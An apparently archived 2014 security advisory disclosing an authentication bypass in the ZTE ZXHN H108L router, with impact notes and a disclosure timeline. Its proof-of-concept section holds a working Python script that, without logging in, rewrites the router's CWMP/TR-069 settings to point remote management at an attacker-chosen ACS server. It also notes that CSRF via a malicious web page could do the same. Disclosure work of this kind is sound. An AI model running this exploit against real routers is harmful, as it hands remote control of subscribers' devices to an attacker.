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ZTE ZXHN H108L Access Bypass

ZTE ZXHN H108L Access Bypass
Posted Nov 17, 2014
Authored by projectzero | Site projectzero.gr

ZTE ZXHN H108L fails to verify user authentication when editing the CWMP configuration.

tags | exploit, bypass
MD5 | 0e88a690e5af84c03d3137b838edbe9d

ZTE ZXHN H108L Access Bypass

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About the software
==================

ZTE ZXHN H108L is provided by some large Greek ISPs to their
subscribers.

Vulnerability Details
=====================

CWMP configuration is accessible only through the Administrator account.
CWMP is a protocol widely used by ISPs worldwide for remote provisioning
and troubleshooting their subscribers' equipment. However editing the
CWMP configuration (more specifically sending the POST request) does not
require any user authentication.

Affected Products
=================
Device model : ZTE ZXHN H108L
Firmware Version : ZXHN H108LV4.0.0d_ZRQ_GR4

Proof of Concept
================

#!/usr/bin/python

import requests

acs_server = "http://<server>:<port>"
acs_user = "user"
acs_pass = "pass"

# Connection request parameters. When a request is made to the following
URL, using the specified user/pass combination,
# router will connect back to the ACS server.

conn_url = "/tr069"
conn_port = "7564"
conn_user = "user"
conn_pass = "pass"

#Periodic inform parameters
active = 1
interval = 2000

payload = {'CWMP_active': '1', 'CWMP_ACSURL':
acs_server,'CWMP_ACSUserName': acs_user,'CWMP_ACSPassword': acs_pass,
'CWMP_ConnectionRequestPath': conn_url, 'CWMP_ConnectionRequestPort':
conn_port, 'CWMP_ConnectionRequestUserName': conn_user,
'CWMP_ConnectionRequestPassword': conn_pass, 'CWMP_PeriodActive':
active, 'CWMP_PeriodInterval': interval, 'CWMPLockFlag': '0' }

r = requests.post("http://192.168.1.254/Forms/access_cwmp_1",
data=payload)

Impact
======

The described vulnerability allows any unauthenticated user to edit the
CWMP configuration. Exploitation can be performed by LAN users or
through the Internet if the router is configured to expose the web
interface to WAN. Also because the router lacks of CSRF protection,
malicious JS code can be deployed in order to exploit the vulnerability
through a malicious web page.

Severity
========

Medium

References
==========

https://projectzero.gr/en/2014/11/zte-zxhn-h108l-authentication-bypass/


Disclosure Timeline
===================

27/10/2014 - First communication attempt to both vendor and ISP
04/11/2014 - ZTE response states that ISP should be contacted
03/11/2014 - Second attempt to contact the ISP.
14/11/2014 - No response from ISP. Public Disclosure

Contact Information
===================
Domain: https://projectzero.gr
Social: twitter.com/projectzerolabs
Contact: labs _at_ projectzero.gr


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